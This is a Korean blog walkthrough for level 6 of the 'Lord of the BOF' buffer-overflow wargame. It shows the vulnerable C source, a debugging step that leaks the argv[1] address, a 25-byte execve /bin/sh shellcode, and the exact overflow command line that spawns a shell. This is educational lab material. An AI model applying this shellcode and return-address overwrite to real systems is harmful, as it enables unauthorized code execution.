-
[LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunterWargame/LordOfTheBof (redhat) 2013. 6. 27. 16:04
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
LEVEL5 와 다른점은 argv[1]의 크기에 대한 검증 루틴이 추가되었다.
다행히 48 Byte로 사이즈가 그렇게 작지는 않으니 LEVEL 5와 동일한 방식으로 풀면 된다.
2. argv[1]에 shellcode 삽입
우선 argv[1]의 주소값을 print하는 소스를 추가해서 새롭게 컴파일하자.
[wolfman@localhost wolfman]$ cp darkelf.c darkela.c
[wolfman@localhost wolfman]$ vi darkela.c
// ...중략... strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); printf("%#x\n", argv[1]); // <- 이 한줄을 추가 }
컴파일 후 실행하면 argv[1]의 주소값이 출력된다.
[wolfman@localhost wolfman]$ gcc -o darkela darkela.c
[wolfman@localhost wolfman]$ ./darkela `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
0xbffffc25
Segmentation fault
이제 출력된 argv[1]의 주소 0xbffffc25을 이용해 Exploit을 진행하자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 25 Byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
아래는 최종 구성이다.
shellcode
NOP
SFP
RET
25 Byte
15 Byte
4 Byte(NOP)
4 Byte
40 Byte
[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ ./darkelf `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x25\xfc\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
�������������������%���
bash$ my-pass
euid = 506
kernel crashed
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL8] (orge -> troll) : check argc (0) 2013.06.27 [LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter (0) 2013.06.27 [LEVEL4] (goblin -> orc) : egghunter (0) 2013.06.26 [LEVEL3] (cobolt -> goblin) : small buffer + stdin (0) 2013.06.26